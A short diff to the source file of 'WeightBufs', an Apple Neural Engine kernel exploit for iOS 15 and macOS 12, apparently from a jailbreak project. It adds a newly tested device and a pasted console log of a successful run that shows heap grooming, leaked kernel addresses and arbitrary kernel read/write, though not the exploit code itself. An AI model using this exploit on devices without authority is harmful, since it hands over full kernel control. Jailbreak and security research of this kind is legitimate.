Some proofs and explaination

Application/Dopamine/Exploits/weightBufs/exploit/exploit.m

@@ -1,3 +1,4 @@
+// this is a test on 0x36's iphone
 /*
  * WeightBufs : Apple Neural Engine (ANE) kernel exploit for iOS 15/macOS 12
  * Vulns && Exploit by @_simo36
@@ -13,6 +14,7 @@
  * iPad Pro (iPad8,10) with iPadOS 15.5
  * iPhone11 Pro (iPhone12,3) with iOS 15.4.1
  * MacBookAir10,1 M1 with macOS 12.4
+ * iPhoneSE 2020 (iPhone 12,8) with ios 15.2
 
  [+] Loading AppleNeuralEngine framework ...OK
  [+] Patching model.hwx with custom initInfo section ... OK
@@ -69,6 +71,57 @@
 
 */
 
+// this is a test on untether's iphone
+/*
+[+] Loading AppleNeuralEngine framework ...OK
+[+] Patching model.hwx with custom initInfo section ... OK
+[+] Stage 1: Grooming kernel memory ... 
+[+] Grooming IOSurface_zone ... OK
+[+] Grooming pageable maps ... OK
+[+] Grooming kernel_map ... . . . . . OK
+[+] Patching model.hwx with custom initInfo section ... OK
+[+] Found scratched ShmemID 0x1f6b with size 0x4000
+00 40 00 00 00 00 00 00  F0 18 99 19 E2 FF FF FF  |  .@.............. 
+00 40 89 02 00 00 00 00  80 2B 84 34 E1 FF FF FF  |  .@.......+.4.... 
+E8 5D E2 18 E2 FF FF FF  00 00 14 0A EC FF FF FF  |  .].............. 
+88 FB CE 19 E2 FF FF FF  4B 54 55 4D 01 00 00 00  |  ........KTUM.... 
+00 00 00 00 00 00 00 00                           |  ........ 
+[+] Leaked mutable kernel section (MUTK) buffer 0xffffffec0a140000 
+[+] Leaked IOSurface object 0xffffffe2199918f0 
+[+] Kernel location of our input buffer 0xffffffec0a000000 
+[+] Stage 3: Dumping a memory page from IOSurface_zone  
+[+] Deduced weightSurface (from IOKitPageableSpace submaps) location 0xffffffec0a154000 
+[+] Patching model.hwx with custom initInfo section ... OK
+[+] Found scratched ShmemID 0x1fb8 with size 0x4000
+[+] Found a matching surface-id=0x00c1 IOSurface=0xffffffe2199910a0 ! 
+[+] IOSurfaceClient location 0xffffffe300c0f480 
+[+] IOSurface location 0xffffffe2199910a0 
+[+] IOSurfaceRoot 0xffffffe2ffef8400 
+[+] Stage 4: Performing the arbitrary write primitive ... 
+[+] Patching model.hwx with custom initInfo section ... OK
+[+] Got shmem id 0x1fb8 for 0xffffffec0a000000 
+[+] Stage 5: Get stable arbitrary kernel read/write .... OK 
+[+] IOSurfaceRoot vtable 0xfffffff01af84560 
+[+] kread64([0xfffffff01af84560]) = 0xe5d4d5f01bf0925c
+[+] kread64([0xffffffec0a003000]) = 0x4141414100003000
+[+] kwrite64(0xffffffec0a003000,0xdeadbeef12345678) 
+[+] kread64([0xffffffec0a003000]) = 0xdeadbeef12345678
+[+] Kernel text base 0xfffffff01a5ec000
+CF FA ED FE 0C 00 00 01  02 00 00 C0 02 00 00 00  |  ................ 
+1A 00 00 00 40 16 00 00  01 00 20 00 00 00 00 00  |  ....@..... ..... 
+19 00 00 00 C8 02 00 00  5F 5F 54 45 58 54 00 00  |  ........__TEXT.. 
+00 00 00 00 00 00 00 00  00 C0 5E 1A F0 FF FF FF  |  ..........^..... 
+00 80 7E 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ..~............. 
+00 80 7E 00 00 00 00 00  05 00 00 00 05 00 00 00  |  ..~............. 
+08 00 00 00 00 00 00 00  5F 5F 63 6F 6E 73 74 00  |  ........__const. 
+ system name = Darwin
+ node name   = Unc0ver
+ release     = 21.2.0
+ version     = Darwin Kernel Version 21.2.0: Sun Nov 28 20:43:35 PST 2021; root:xnu-8019.62.2~1/RELEASE_ARM64_T8030
+ machine     = iPhone12,8
+*/
+
+
 
 #include "exploit.h"